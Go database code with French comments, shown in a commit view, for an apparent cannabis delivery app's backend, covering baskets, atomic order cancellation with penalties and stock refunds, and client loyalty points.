// DeleteProductFromBasket supprime un produit spécifique du panier
func (d *Database) DeleteProductFromBasket(basketID int) error {
query := `DELETE FROM baskets WHERE id = $1`
result, err := d.Exec(query, basketID)
if err != nil {
return fmt.Errorf("erreur lors de la suppression du produit: %w", err)
}
rowsAffected, err := result.RowsAffected()
if err != nil {
return fmt.Errorf("erreur lors de la vérification des lignes affectées: %w", err)
}
if rowsAffected == 0 {
return fmt.Errorf("produit non trouvé dans le panier")
}
return nil
}
// ClearBasket vide complètement le panier d'un utilisateur
func (d *Database) ClearBasket(username string) error {
query := `DELETE FROM baskets WHERE username = $1`
_, err := d.Exec(query, username)
if err != nil {
return fmt.Errorf("erreur lors du vidage du panier: %w", err)
}
return nil
}
// GetBasketTotal calcule le montant total du panier d'un utilisateur
func (d *Database) GetBasketTotal(username string) (float64, error) {
query := `SELECT COALESCE(SUM(quantity * price), 0) as total
FROM baskets
WHERE username = $1`
var total float64
err := d.QueryRow(query, username).Scan(&total)
if err != nil {
return 0, fmt.Errorf("erreur lors du calcul du total: %w", err)
}
return total, nil
}
// GetBasketItemCount compte le nombre d'items dans le panier
func (d *Database) GetBasketItemCount(username string) (int, error) {
query := `SELECT COUNT(*) FROM baskets WHERE username = $1`
var count int
err := d.QueryRow(query, username).Scan(&count)
if err != nil {
return 0, fmt.Errorf("erreur lors du comptage des items: %w", err)
}
return count, nil
}
// UpdateBasketItemQuantity met à jour la quantité d'un item du panier
func (d *Database) UpdateBasketItemQuantity(basketID int, quantity float64) error {
if quantity <= 0 {
return fmt.Errorf("la quantité doit être supérieure à 0")
}
query := `UPDATE baskets SET quantity = $1, created_at = CURRENT_TIMESTAMP WHERE id = $2`
result, err := d.Exec(query, quantity, basketID)
if err != nil {
return fmt.Errorf("erreur lors de la mise à jour de la quantité: %w", err)
}
rowsAffected, err := result.RowsAffected()
if err != nil {
return fmt.Errorf("erreur lors de la vérification des lignes affectées: %w", err)
}
if rowsAffected == 0 {
return fmt.Errorf("produit non trouvé dans le panier")
}
return nil
}
// ExtendBasketReservations prolonge les réservations
func (d *Database) ExtendBasketReservations(username string) error {
query := `SELECT product_id, quantity FROM baskets WHERE username = $1`
rows, err := d.Query(query, username)
if err != nil {
return fmt.Errorf("erreur récupération panier: %w", err)
}
defer rows.Close()
type Item struct {
ProductID int
Quantity int
}
var items []Item
for rows.Next() {
var item Item
if err := rows.Scan(&item.ProductID, &item.Quantity); err != nil {
return fmt.Errorf("erreur scan: %w", err)
}
items = append(items, item)
}
// Vérifier stock disponible pour chaque item
for _, item := range items {
var stock int
err := d.QueryRow(`SELECT stock FROM products WHERE id = $1`, item.ProductID).Scan(&stock)
if err != nil {
return fmt.Errorf("produit %d non trouvé: %w", item.ProductID, err)
}
if stock < item.Quantity {
return fmt.Errorf("stock insuffisant pour le produit %d (demandé: %d, disponible: %d)",
item.ProductID, item.Quantity, stock)
}
}
// Prolonger les réservations de 15 minutes
newReservation := time.Now().Add(15 * time.Minute)
updateQuery := `UPDATE baskets
SET reserved_until = $1
WHERE username = $2`
_, err = d.Exec(updateQuery, newReservation, username)
if err != nil {
return fmt.Errorf("erreur prolongation: %w", err)
}
log.Printf("✅ Réservations prolongées pour %s jusqu'à %s",
username, newReservation.Format("15:04:05"))
return nil
}
// CheckBasketReservations vérifie si les réservations sont expirées
func (d *Database) CheckBasketReservations(username string) (bool, error) {
query := `SELECT COUNT(*) FROM baskets
WHERE username = $1
AND (reserved_until IS NULL OR reserved_until < CURRENT_TIMESTAMP)`
var expiredCount int
err := d.QueryRow(query, username).Scan(&expiredCount)
if err != nil {
return false, err
}
return expiredCount > 0, nil
}
func (d *Database) GetBasketItems(username string) ([]map[string]interface{}, error) {
query := `SELECT product_id, quantity, price FROM baskets WHERE username = $1`
rows, err := d.Query(query, username)
if err != nil {
return nil, err
}
defer rows.Close()
var items []map[string]interface{}
for rows.Next() {
var productID, quantity int
var price float64
if err := rows.Scan(&productID, &quantity, &price); err != nil {
return nil, err
}
items = append(items, map[string]interface{}{
"product_id": productID,
"quantity": quantity,
"price": price,
})
}
return items, nil
}
+454
View File
@@ -0,0 +1,454 @@
// ============================================
// db/cancel_commands_db.go
// FONCTIONS DB ATOMIQUES POUR L'ANNULATION
// VERSION 100% SÉCURISÉE - FIX ETA CHECK
// ============================================
package db
import (
"database/sql"
"fmt"
"log"
"time"
)
// ============================================
// ANNULATION ATOMIQUE
// ============================================
func (d *Database) CancelCommandAtomic(commandID int, username, reason string, force bool) (int, map[string]int, error) {
log.Printf("🔒 [CancelAtomic] START - cmd=%d, user=%s, force=%v", commandID, username, force)
// ✅ TRANSACTION
tx, err := d.Begin()
if err != nil {
return 0, nil, fmt.Errorf("erreur transaction: %w", err)
}
defer tx.Rollback()
// ✅ SELECT FOR UPDATE - Verrouiller la ligne
var currentStatus, cmdUsername, livreurAssign string
err = tx.QueryRow(`
SELECT status, username, COALESCE(livreur_assign, '')
FROM commandes
WHERE id = $1
FOR UPDATE
`, commandID).Scan(&currentStatus, &cmdUsername, &livreurAssign)
if err == sql.ErrNoRows {
return 0, nil, fmt.Errorf("commande non trouvée")
}
if err != nil {
return 0, nil, err
}
log.Printf("📋 [CancelAtomic] Trouvée - status=%s, owner=%s, livreur=%s", currentStatus, cmdUsername, livreurAssign)
// ✅ VÉRIFIER PROPRIÉTÉ
if cmdUsername != username {
return 0, nil, fmt.Errorf("commande ne vous appartient pas")
}
// ✅ VÉRIFIER STATUT
nonCancellableStatuses := []string{"livre", "approved", "cancelled", "disabled"}
for _, s := range nonCancellableStatuses {
if currentStatus == s {
return 0, nil, fmt.Errorf("impossible d'annuler")
}
}
// ============================================
// ✅ FIX: DÉTECTION CORRECTE DE L'ANNULATION TARDIVE
// ============================================
// Une annulation est tardive UNIQUEMENT si :
// 1. Un livreur est assigné
// 2. Le statut est "en_route" (livreur parti) OU "arrived" (livreur arrivé)
// 3. OU une ETA a été définie (ce qui signifie que le livreur est en route)
isLateCancel := false
if livreurAssign != "" {
// Cas 1: Statut en_route ou arrived = toujours tardif
if currentStatus == "en_route" || currentStatus == "arrived" {
isLateCancel = true
log.Printf("⚠️ [CancelAtomic] Annulation TARDIVE détectée - Statut: %s", currentStatus)
} else {
// Cas 2: Pour les autres statuts, vérifier si une ETA existe
hasRealETA := d.CheckCommandETAExistsAndValid(commandID)
if hasRealETA {
isLateCancel = true
log.Printf("⚠️ [CancelAtomic] Annulation TARDIVE détectée - ETA définie")
} else {
log.Printf("✅ [CancelAtomic] Annulation SANS PÉNALITÉ - Statut: %s, Pas d'ETA valide", currentStatus)
}
}
} else {
log.Printf("✅ [CancelAtomic] Annulation SANS PÉNALITÉ - Aucun livreur assigné")
}
// ✅ SI ANNULATION TARDIVE SANS CONFIRMATION
if isLateCancel && !force {
return 0, nil, fmt.Errorf("confirmation requise")
}
// ✅ UPDATE STATUT (avec vérification pour éviter race condition)
result, err := tx.Exec(`
UPDATE commandes
SET status = 'cancelled', updated_at = CURRENT_TIMESTAMP
WHERE id = $1 AND status = $2 AND username = $3
`, commandID, currentStatus, username)
if err != nil {
return 0, nil, err
}
rows, _ := result.RowsAffected()
if rows == 0 {
return 0, nil, fmt.Errorf("commande déjà modifiée")
}
log.Printf("✅ [CancelAtomic] Statut mis à jour: %s → cancelled", currentStatus)
// ✅ REMBOURSER LE STOCK ATOMIQUEMENT
_, err = tx.Exec(`
UPDATE products p
SET stock = stock + ci.quantite, updated_at = CURRENT_TIMESTAMP
FROM command_items ci
WHERE ci.command_id = $1 AND ci.product_id = p.id
`, commandID)
if err != nil {
log.Printf("⚠️ [CancelAtomic] Erreur remboursement stock: %v", err)
} else {
log.Printf("✅ [CancelAtomic] Stock remboursé")
}
// ============================================
// APPLIQUER PÉNALITÉ SI ANNULATION TARDIVE
// ============================================
penalty := 0
pointsLost := map[string]int{"weed": 0, "zipette": 0}
if isLateCancel && force {
log.Printf("⚠️ [CancelAtomic] Annulation tardive confirmée - Application pénalité")
// ✅ RÉCUPÉRER LES POINTS ACTUELS
var currentPointsWeed, currentPointsZipette int
err := tx.QueryRow(`
SELECT point, point_zipette FROM clients WHERE username = $1
`, username).Scan(&currentPointsWeed, &currentPointsZipette)
if err == nil {
pointsLost["weed"] = currentPointsWeed
pointsLost["zipette"] = currentPointsZipette
// ✅ CALCULER PÉNALITÉ
penalty, _ = d.CalculateCancellationPenalty(username)
// ✅ APPLIQUER: Remettre points à 0 + Ajouter pénalité + Incrémenter compteur
_, err = tx.Exec(`
UPDATE clients
SET point = 0,
point_zipette = 0,
amende = amende + $1,
cancellations_count = COALESCE(cancellations_count, 0) + 1,
updated_at = CURRENT_TIMESTAMP
WHERE username = $2
`, penalty, username)
if err != nil {
log.Printf("❌ [CancelAtomic] Erreur pénalité: %v", err)
} else {
log.Printf("⚠️ [CancelAtomic] Pénalité: %d pts, Points perdus: weed=%d, zipette=%d",
penalty, pointsLost["weed"], pointsLost["zipette"])
}
}
}
// ✅ LOG
_, err = tx.Exec(`
INSERT INTO command_logs (command_id, status, message, author, created_at)
VALUES ($1, $2, $3, $4, CURRENT_TIMESTAMP)
`, commandID, "cancelled",
fmt.Sprintf("Annulée par %s - Raison: %s", username, reason),
username)
if err != nil {
log.Printf("⚠️ [CancelAtomic] Erreur log: %v", err)
}
// ✅ COMMIT
if err := tx.Commit(); err != nil {
return 0, nil, fmt.Errorf("erreur commit: %w", err)
}
// ✅ NETTOYER QUEUE (async, après commit)
if livreurAssign != "" {
go func() {
err := d.CleanupCompletedCommandFromQueue(commandID, livreurAssign)
if err != nil {
log.Printf("⚠️ [CancelAtomic] Erreur cleanup queue: %v", err)
}
}()
}
// ✅ INVALIDER CACHES (async)
go func() {
Redis.Del(RedisCtx,
fmt.Sprintf("command:%d", commandID),
fmt.Sprintf("client:%s", username),
fmt.Sprintf("client:%s:commands", username),
)
}()
log.Printf("🎉 [CancelAtomic] SUCCÈS - Commande %d annulée", commandID)
return penalty, pointsLost, nil
}
// ============================================
// ✅ NOUVELLE FONCTION: CHECK ETA VALIDE
// ============================================
// CheckCommandETAExistsAndValid vérifie si une ETA RÉELLE existe (> 0 minutes, non expirée)
func (d *Database) CheckCommandETAExistsAndValid(commandID int) bool {
etaKey := fmt.Sprintf("command:eta:%d", commandID)
// Récupérer l'ETA depuis Redis
etaMinutesStr, err := Redis.Get(RedisCtx, etaKey).Result()
if err != nil {
log.Printf("⚠️ [CheckETA] Pas d'ETA trouvée pour cmd %d", commandID)
return false
}
// Parser l'ETA
var etaMinutes int
_, err = fmt.Sscanf(etaMinutesStr, "%d", &etaMinutes)
if err != nil || etaMinutes <= 0 {
log.Printf("⚠️ [CheckETA] ETA invalide pour cmd %d: %s", commandID, etaMinutesStr)
return false
}
// Vérifier le TTL (si l'ETA existe, elle doit avoir un TTL)
ttl, err := Redis.TTL(RedisCtx, etaKey).Result()
if err != nil || ttl <= 0 {
log.Printf("⚠️ [CheckETA] ETA expirée pour cmd %d", commandID)
return false
}
log.Printf("✅ [CheckETA] ETA valide trouvée pour cmd %d: %d min (TTL: %v)", commandID, etaMinutes, ttl)
return true
}
// ============================================
// SUPPRESSION ATOMIQUE
// ============================================
func (d *Database) DeleteCommandAtomic(commandID int, deletedBy, role string) error {
log.Printf("🔒 [DeleteAtomic] START - cmd=%d, by=%s (%s)", commandID, deletedBy, role)
// ✅ TRANSACTION
tx, err := d.Begin()
if err != nil {
return fmt.Errorf("erreur transaction: %w", err)
}
defer tx.Rollback()
// ✅ SELECT FOR UPDATE
var currentStatus, cmdUsername, livreurAssign string
err = tx.QueryRow(`
SELECT status, username, COALESCE(livreur_assign, '')
FROM commandes
WHERE id = $1
FOR UPDATE
`, commandID).Scan(&currentStatus, &cmdUsername, &livreurAssign)
if err == sql.ErrNoRows {
return fmt.Errorf("commande non trouvée")
}
if err != nil {
return err
}
log.Printf("📋 [DeleteAtomic] Trouvée - status=%s, client=%s", currentStatus, cmdUsername)
// ✅ REMBOURSER STOCK ATOMIQUEMENT
_, err = tx.Exec(`
UPDATE products p
SET stock = stock + ci.quantite, updated_at = CURRENT_TIMESTAMP
FROM command_items ci
WHERE ci.command_id = $1 AND ci.product_id = p.id
`, commandID)
if err != nil {
log.Printf("⚠️ [DeleteAtomic] Erreur remboursement: %v", err)
} else {
log.Printf("✅ [DeleteAtomic] Stock remboursé")
}
// ✅ LOG AVANT SUPPRESSION
_, err = tx.Exec(`
INSERT INTO command_logs (command_id, status, message, author, created_at)
VALUES ($1, $2, $3, $4, CURRENT_TIMESTAMP)
`, commandID, "deleted",
fmt.Sprintf("Supprimée par %s (%s) - Ancien statut: %s", deletedBy, role, currentStatus),
deletedBy)
// ✅ SUPPRIMER ITEMS
_, err = tx.Exec(`DELETE FROM command_items WHERE command_id = $1`, commandID)
if err != nil {
return err
}
// ✅ SUPPRIMER COMMANDE
result, err := tx.Exec(`DELETE FROM commandes WHERE id = $1`, commandID)
if err != nil {
return err
}
rows, _ := result.RowsAffected()
if rows == 0 {
return fmt.Errorf("commande non trouvée")
}
log.Printf("✅ [DeleteAtomic] Supprimée de la DB")
// ✅ COMMIT
if err := tx.Commit(); err != nil {
return fmt.Errorf("erreur commit: %w", err)
}
// ✅ NETTOYER QUEUES (async)
if livreurAssign != "" {
go d.RemoveCommandFromAllQueues(commandID, livreurAssign)
}
// ✅ INVALIDER CACHES (async)
go func() {
Redis.Del(RedisCtx,
fmt.Sprintf("command:%d", commandID),
fmt.Sprintf("client:%s", cmdUsername),
fmt.Sprintf("client:%s:commands", cmdUsername),
)
}()
log.Printf("🎉 [DeleteAtomic] SUCCÈS - Commande %d supprimée", commandID)
return nil
}
// ============================================
// FONCTIONS HELPERS (déjà sécurisées)
// ============================================
func (d *Database) GetCommandPositionInQueue(livreurUsername string, commandID int) (int, error) {
queueKey := fmt.Sprintf("queue:deliveryman:%s", livreurUsername)
commandIDStr := fmt.Sprintf("%d", commandID)
rank, err := Redis.ZRank(RedisCtx, queueKey, commandIDStr).Result()
if err != nil {
return 0, fmt.Errorf("commande non trouvée dans la queue")
}
return int(rank) + 1, nil
}
func (d *Database) GetCancelledCommands(username string, limit int) ([]map[string]interface{}, error) {
query := `
SELECT id, username, status, adresse, total_prix, created_at, updated_at
FROM commandes
WHERE status = 'cancelled'
`
args := []interface{}{}
argPos := 1
if username != "" {
query += fmt.Sprintf(" AND username = $%d", argPos)
args = append(args, username)
argPos++
}
query += " ORDER BY updated_at DESC"
if limit > 0 {
query += fmt.Sprintf(" LIMIT $%d", argPos)
args = append(args, limit)
}
rows, err := d.Query(query, args...)
if err != nil {
return nil, fmt.Errorf("erreur récupération: %w", err)
}
defer rows.Close()
var commands []map[string]interface{}
for rows.Next() {
var id int
var username, status, adresse string
var totalPrix float64
var createdAt, updatedAt time.Time
err := rows.Scan(&id, &username, &status, &adresse, &totalPrix, &createdAt, &updatedAt)
if err != nil {
return nil, err
}
commands = append(commands, map[string]interface{}{
"id": id,
"username": username,
"status": status,
"adresse": adresse,
"total_prix": totalPrix,
"created_at": createdAt,
"updated_at": updatedAt,
})
}
return commands, nil
}
// ============================================
// GESTION DES PÉNALITÉS
// ============================================
// AddClientPenalty ajoute une pénalité à un client
func (d *Database) AddClientPenalty(username string, points int) error {
log.Printf("⚠️ [AddPenalty] Ajout pénalité: %d points pour client %s", points, username)
// ✅ Validation
if points <= 0 {
return fmt.Errorf("points invalides: %d", points)
}
if username == "" {
return fmt.Errorf("username vide")
}
// ✅ UPDATE dans PostgreSQL
query := `UPDATE clients
SET amende = amende + $1, updated_at = CURRENT_TIMESTAMP
WHERE username = $2`
result, err := d.Exec(query, points, username)
if err != nil {
log.Printf("❌ [AddPenalty] Erreur UPDATE: %v", err)
return fmt.Errorf("erreur ajout pénalité: %w", err)
}
rowsAffected, err := result.RowsAffected()
if err != nil {
return fmt.Errorf("erreur vérification: %w", err)
}
if rowsAffected == 0 {
return fmt.Errorf("client non trouvé: %s", username)
}
log.Printf("✅ [AddPenalty] Pénalité ajoutée: +%d points pour %s", points, username)
// ✅ Invalider le cache Redis du client
cacheKey := fmt.Sprintf("client:%s", username)
Redis.Del(RedisCtx, cacheKey)
return nil
}
+942
View File
@@ -0,0 +1,942 @@
package db
import (
"database/sql"
"fmt"
"gestion/models"
"log"
"strings"
)
func (d *Database) CreateClient(client *models.Client) error {
query := `INSERT INTO clients (username, password, nom, prenom, telephone, command, point, point_zipette, amende, created_at)
VALUES ($1, $2, $3, $4, $5, 0, 0, 0, 0.0, CURRENT_TIMESTAMP)
RETURNING id, created_at`
err := d.QueryRow(query, client.Username, client.Password, client.Nom, client.Prenom, client.Telephone).Scan(
&client.ID,
&client.CreatedAt,
)
if err != nil {
return fmt.Errorf("erreur lors de la création du client: %w", err)
}
log.Printf("✅ Client créé avec succès: %s %s (ID: %d)", client.Prenom, client.Nom, client.ID)
return nil
}
// GetClientByID récupère un client par son ID
func (d *Database) GetClientByID(id int) (*models.Client, error) {
var client models.Client
query := `SELECT id, username, password, nom, prenom, telephone, command, point, point_zipette, amende, created_at
FROM clients WHERE id = $1`
err := d.QueryRow(query, id).Scan(
&client.ID,
&client.Username,
&client.Password,
&client.Nom,
&client.Prenom,
&client.Telephone,
&client.Command,
&client.Point,
&client.PointZipette,
&client.Amende,
&client.CreatedAt,
)
if err == sql.ErrNoRows {
return nil, fmt.Errorf("client non trouvé")
}
if err != nil {
return nil, fmt.Errorf("erreur lors de la récupération du client: %w", err)
}
return &client, nil
}
// GetAllClients récupère tous les clients
func (d *Database) GetAllClients() ([]*models.Client, error) {
query := `SELECT id, username, password, nom, prenom, telephone, command, point, point_zipette, amende, created_at
FROM clients ORDER BY created_at DESC`
rows, err := d.Query(query)
if err != nil {
return nil, fmt.Errorf("erreur lors de la récupération des clients: %w", err)
}
defer rows.Close()
var clients []*models.Client
for rows.Next() {
client := &models.Client{}
err := rows.Scan(
&client.ID,
&client.Username,
&client.Password,
&client.Nom,
&client.Prenom,
&client.Telephone,
&client.Command,
&client.Point,
&client.PointZipette,
&client.Amende,
&client.CreatedAt,
)
if err != nil {
return nil, fmt.Errorf("erreur lors du scan du client: %w", err)
}
clients = append(clients, client)
}
if err = rows.Err(); err != nil {
return nil, fmt.Errorf("erreur lors de l'itération des résultats: %w", err)
}
return clients, nil
}
// UpdateClient met à jour un client existant
func (d *Database) UpdateClient(client *models.Client) error {
query := `UPDATE clients
SET username = $1, password = $2, nom = $3, prenom = $4, telephone = $5,
command = $6, point = $7, point_zipette = $8, amende = $9
WHERE id = $10`
result, err := d.Exec(query,
client.Username,
client.Password,
client.Nom,
client.Prenom,
client.Telephone,
client.Command,
client.Point,
client.PointZipette,
client.Amende,
client.ID,
)
if err != nil {
return fmt.Errorf("erreur lors de la mise à jour du client: %w", err)
}
rowsAffected, err := result.RowsAffected()
if err != nil {
return fmt.Errorf("erreur lors de la vérification des lignes affectées: %w", err)
}
if rowsAffected == 0 {
return fmt.Errorf("client non trouvé")
}
log.Printf("✅ Client mis à jour: %s (ID: %d)", client.Username, client.ID)
return nil
}
// DeleteClient supprime un client
func (d *Database) DeleteClient(id int) error {
// ✅ MODIFIÉ : Supprimer tous les tokens du client avec le user_type "client"
_ = d.RevokeAllUserTokens(id, "client")
query := `DELETE FROM clients WHERE id = $1`
result, err := d.Exec(query, id)
if err != nil {
return fmt.Errorf("erreur lors de la suppression du client: %w", err)
}
rowsAffected, err := result.RowsAffected()
if err != nil {
return fmt.Errorf("erreur lors de la vérification des lignes affectées: %w", err)
}
if rowsAffected == 0 {
return fmt.Errorf("client non trouvé")
}
log.Printf("✅ Client supprimé (ID: %d)", id)
return nil
}
// UpdateClientPassword met à jour le mot de passe d'un client
func (d *Database) UpdateClientPassword(clientID int, hashedPassword string) error {
query := `UPDATE clients SET password = $1 WHERE id = $2`
result, err := d.Exec(query, hashedPassword, clientID)
if err != nil {
return fmt.Errorf("erreur lors de la mise à jour du mot de passe: %w", err)
}
rowsAffected, err := result.RowsAffected()
if err != nil {
return fmt.Errorf("erreur lors de la vérification: %w", err)
}
if rowsAffected == 0 {
return fmt.Errorf("client non trouvé")
}
log.Printf("✅ Mot de passe client mis à jour (ID: %d)", clientID)
return nil
}
// GetClientStats récupère les statistiques d'un client
func (d *Database) GetClientStats(clientID int) (map[string]interface{}, error) {
client, err := d.GetClientByID(clientID)
if err != nil {
return nil, err
}
// Compter les commandes du client
var totalCommands, pendingCommands, completedCommands int
countQuery := `SELECT
COUNT(*) as total,
SUM(CASE WHEN status = 'pending' OR status = 'support' OR status = 'livre' THEN 1 ELSE 0 END) as pending,
SUM(CASE WHEN status = 'approved' THEN 1 ELSE 0 END) as completed
FROM commandes WHERE username = $1`
err = d.QueryRow(countQuery, client.Username).Scan(&totalCommands, &pendingCommands, &completedCommands)
if err != nil {
log.Printf("⚠️ Erreur calcul stats: %v", err)
totalCommands, pendingCommands, completedCommands = 0, 0, 0
}
stats := map[string]interface{}{
"id": clientID,
"username": client.Username,
"nom": client.Nom,
"prenom": client.Prenom,
"telephone": client.Telephone,
"total_commands": totalCommands,
"pending_commands": pendingCommands,
"completed_commands": completedCommands,
"points": client.Point,
"points_zipette": client.PointZipette,
"amende": client.Amende,
"member_since": client.CreatedAt,
}
return stats, nil
}
func (d *Database) GetClientAmende(username string) (float64, error) {
var amende float64
query := `SELECT COALESCE(amende, 0) FROM clients WHERE username = $1`
err := d.QueryRow(query, username).Scan(&amende)
if err != nil {
log.Printf("❌ [GetClientAmende] Erreur pour %s: %v", username, err)
return 0, fmt.Errorf("erreur récupération pénalités: %w", err)
}
log.Printf("💰 [GetClientAmende] Client %s: %.2f points", username, amende)
return amende, nil
}
func (d *Database) PayClientPenalties(username string, amountPaid float64) error {
log.Printf("💳 [PayClientPenalties] Paiement de %.2f points pour %s", amountPaid, username)
// Vérifier le montant actuel
currentAmount, err := d.GetClientAmende(username)
if err != nil {
return err
}
if currentAmount <= 0 {
return fmt.Errorf("aucune pénalité à payer")
}
if amountPaid < currentAmount {
return fmt.Errorf("montant insuffisant: %.2f payé, %.2f requis", amountPaid, currentAmount)
}
// Réinitialiser les pénalités
query := `UPDATE clients
SET amende = 0, updated_at = CURRENT_TIMESTAMP
WHERE username = $1`
result, err := d.Exec(query, username)
if err != nil {
log.Printf("❌ [PayClientPenalties] Erreur UPDATE: %v", err)
return fmt.Errorf("erreur paiement pénalités: %w", err)
}
rowsAffected, err := result.RowsAffected()
if err != nil {
return fmt.Errorf("erreur vérification: %w", err)
}
if rowsAffected == 0 {
return fmt.Errorf("client non trouvé")
}
log.Printf("✅ [PayClientPenalties] Pénalités réglées pour %s", username)
// Invalider le cache Redis du client
cacheKey := fmt.Sprintf("client:%s", username)
Redis.Del(RedisCtx, cacheKey)
return nil
}
// IncrementClientCommandCount incrémente le compteur de commandes du client
func (d *Database) IncrementClientCommandCount(username string) error {
query := `UPDATE clients
SET command = command + 1
WHERE username = $1`
result, err := d.Exec(query, username)
if err != nil {
return fmt.Errorf("erreur lors de l'incrémentation du compteur: %w", err)
}
rowsAffected, err := result.RowsAffected()
if err != nil {
return fmt.Errorf("erreur lors de la vérification: %w", err)
}
if rowsAffected == 0 {
return fmt.Errorf("client non trouvé")
}
return nil
}
// ✅ NOUVELLE FONCTION: Ajouter des points selon la catégorie
func (d *Database) AddClientPointsByCategory(username string, points int, category string) error {
var query string
if category == "zipette&co" {
query = `UPDATE clients
SET point_zipette = point_zipette + $1
WHERE username = $2`
log.Printf("🎁 [ADD_POINTS] Ajout de %d points ZIPETTE à %s", points, username)
} else {
query = `UPDATE clients
SET point = point + $1
WHERE username = $2`
log.Printf("🎁 [ADD_POINTS] Ajout de %d points WEED/HASH à %s", points, username)
}
result, err := d.Exec(query, points, username)
if err != nil {
return fmt.Errorf("erreur lors de l'ajout de points: %w", err)
}
rowsAffected, err := result.RowsAffected()
if err != nil {
return fmt.Errorf("erreur lors de la vérification: %w", err)
}
if rowsAffected == 0 {
return fmt.Errorf("client non trouvé")
}
log.Printf("✅ %d points (%s) ajoutés au client %s (EN DB)", points, category, username)
return nil
}
// ✅ ANCIENNE FONCTION CONSERVÉE POUR COMPATIBILITÉ (utilise weed/hash par défaut)
func (d *Database) AddClientPoints(username string, points int) error {
return d.AddClientPointsByCategory(username, points, "weed_hash")
}
func (d *Database) GetClientByTelephone(telephone string) (*models.Client, error) {
client := &models.Client{}
query := `SELECT id, username, password, nom, prenom, telephone, command, point, point_zipette, amende, created_at
FROM clients WHERE telephone = $1`
err := d.QueryRow(query, telephone).Scan(
&client.ID,
&client.Username,
&client.Password,
&client.Nom,
&client.Prenom,
&client.Telephone,
&client.Command,
&client.Point,
&client.PointZipette,
&client.Amende,
&client.CreatedAt,
)
if err == sql.ErrNoRows {
return nil, nil
}
if err != nil {
return nil, fmt.Errorf("erreur lors de la récupération du client: %w", err)
}
return client, nil
}
// GetClientByUsername récupère un client par son username
func (d *Database) GetClientByUsername(username string) (*models.Client, error) {
client := &models.Client{}
query := `SELECT id, username, password, nom, prenom, telephone, command, point, point_zipette, amende, created_at
FROM clients WHERE username = $1`
err := d.QueryRow(query, username).Scan(
&client.ID,
&client.Username,
&client.Password,
&client.Nom,
&client.Prenom,
&client.Telephone,
&client.Command,
&client.Point,
&client.PointZipette,
&client.Amende,
&client.CreatedAt,
)
if err == sql.ErrNoRows {
return nil, nil
}
if err != nil {
return nil, fmt.Errorf("erreur lors de la récupération du client: %w", err)
}
return client, nil
}
func (d *Database) GetClientPenaltiesInfo(username string) (map[string]interface{}, error) {
// Récupérer le montant des pénalités
amende, err := d.GetClientAmende(username)
if err != nil {
return nil, err
}
// Récupérer le nombre d'annulations
cancellationsCount, err := d.GetClientCancellationsCount(username)
if err != nil {
log.Printf("⚠️ [GetClientPenaltiesInfo] Erreur récup annulations: %v", err)
cancellationsCount = 0
}
// Récupérer l'historique d'annulations
cancellationHistory, err := d.GetClientCancellationHistory(username)
if err != nil {
log.Printf("⚠️ [GetClientPenaltiesInfo] Erreur récup historique: %v", err)
cancellationHistory = map[string]interface{}{
"cancellations_count": cancellationsCount,
"next_penalty": 20,
}
}
info := map[string]interface{}{
"username": username,
"total_penalty": amende,
"cancellations_count": cancellationsCount,
"cancellation_history": cancellationHistory,
"has_penalties": amende > 0,
}
return info, nil
}
// CheckClientCanOrder vérifie si un client peut passer commande (pas de pénalités impayées)
func (d *Database) CheckClientCanOrder(username string) (bool, float64, error) {
amende, err := d.GetClientAmende(username)
if err != nil {
return false, 0, err
}
if amende > 0 {
log.Printf("⚠️ [CheckClientCanOrder] Client %s bloqué: %.2f points de pénalités", username, amende)
return false, amende, fmt.Errorf("pénalités impayées: %.2f points", amende)
}
return true, 0, nil
}
func (d *Database) ResetClientPenalties(username string, resetCancellationsCount bool) error {
log.Printf("🔄 [ResetClientPenalties] Reset pour %s (reset_count=%v)", username, resetCancellationsCount)
var query string
if resetCancellationsCount {
query = `UPDATE clients
SET amende = 0,
cancellations_count = 0,
updated_at = CURRENT_TIMESTAMP
WHERE username = $1`
} else {
query = `UPDATE clients
SET amende = 0,
updated_at = CURRENT_TIMESTAMP
WHERE username = $1`
}
result, err := d.Exec(query, username)
if err != nil {
log.Printf("❌ [ResetClientPenalties] Erreur UPDATE: %v", err)
return fmt.Errorf("erreur reset pénalités: %w", err)
}
rowsAffected, err := result.RowsAffected()
if err != nil {
return fmt.Errorf("erreur vérification: %w", err)
}
if rowsAffected == 0 {
return fmt.Errorf("client non trouvé")
}
log.Printf("✅ [ResetClientPenalties] Reset effectué pour %s", username)
// Invalider le cache Redis du client
cacheKey := fmt.Sprintf("client:%s", username)
Redis.Del(RedisCtx, cacheKey)
return nil
}
func (d *Database) GetAllClientsWithPenalties() ([]map[string]interface{}, error) {
query := `
SELECT username, amende, COALESCE(cancellations_count, 0) as cancellations_count, updated_at
FROM clients
WHERE amende > 0
ORDER BY amende DESC
`
rows, err := d.Query(query)
if err != nil {
log.Printf("❌ [GetAllClientsWithPenalties] Erreur query: %v", err)
return nil, fmt.Errorf("erreur récupération clients: %w", err)
}
defer rows.Close()
var clients []map[string]interface{}
for rows.Next() {
var username string
var amende float64
var cancellationsCount int
var updatedAt interface{}
err := rows.Scan(&username, &amende, &cancellationsCount, &updatedAt)
if err != nil {
log.Printf("⚠️ [GetAllClientsWithPenalties] Erreur scan: %v", err)
continue
}
clients = append(clients, map[string]interface{}{
"username": username,
"total_penalty": amende,
"cancellations_count": cancellationsCount,
"last_updated": updatedAt,
})
}
log.Printf("📊 [GetAllClientsWithPenalties] %d clients avec pénalités", len(clients))
return clients, nil
}
func (d *Database) GetClientPenaltiesStats() (map[string]interface{}, error) {
query := `
SELECT
COUNT(CASE WHEN amende > 0 THEN 1 END) as clients_with_penalties,
COALESCE(SUM(amende), 0) as total_penalties,
COALESCE(AVG(amende), 0) as avg_penalty,
COALESCE(MAX(amende), 0) as max_penalty,
COUNT(*) as total_clients
FROM clients
`
var stats struct {
ClientsWithPenalties int
TotalPenalties float64
AvgPenalty float64
MaxPenalty float64
TotalClients int
}
err := d.QueryRow(query).Scan(
&stats.ClientsWithPenalties,
&stats.TotalPenalties,
&stats.AvgPenalty,
&stats.MaxPenalty,
&stats.TotalClients,
)
if err != nil {
log.Printf("❌ [GetClientPenaltiesStats] Erreur: %v", err)
return nil, fmt.Errorf("erreur récupération stats: %w", err)
}
result := map[string]interface{}{
"clients_with_penalties": stats.ClientsWithPenalties,
"total_penalties": stats.TotalPenalties,
"average_penalty": stats.AvgPenalty,
"max_penalty": stats.MaxPenalty,
"total_clients": stats.TotalClients,
}
log.Printf("📊 [GetClientPenaltiesStats] Stats: %d/%d clients avec pénalités",
stats.ClientsWithPenalties, stats.TotalClients)
return result, nil
}
// ✅ FONCTION MODIFIÉE: Calculer les points sans cumuler entre catégories
